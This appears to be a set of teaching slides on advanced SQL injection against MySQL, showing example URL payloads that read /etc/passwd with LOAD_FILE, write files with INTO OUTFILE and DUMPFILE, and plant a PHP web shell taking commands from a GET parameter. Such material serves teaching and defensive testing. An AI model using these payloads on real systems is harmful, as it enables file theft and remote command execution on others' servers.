Advanced Exploitation



Introduction

➤ A SQL Injection vulnerability can be exploited to do more than dumping the data.

With SQL Injection Vulnerability, an attacker can download any files from the server

A successful exploitation allows attackers to upload file and executes it.

Reading System File

LOAD_FILE(filepath) MySQL Function:

> Reads the file and returns the file contents as a string

Example:

http://example.com/page?id=1 union select 1,LOAD_FILE('/etc/passwd'),3,4



File Writing

SELECT ... INTO OUTFILE:

- > writes the selected rows to a file
- Column and line terminators can be specified to produce a specific output format

SELECT ... INTO DUMPFILE:

writes a single row to a file without any formatting.

Example:

http://example.com/page?id=1 union select 1,2,3 into dumpfile '/var/www/test.txt'



Creating and Executing Shell

Example:

http://example.com/page?id=1 union select 1, "<?php system(\$_GET['cmd']) ?>", 3 into outfile '/var/www/test.txt'

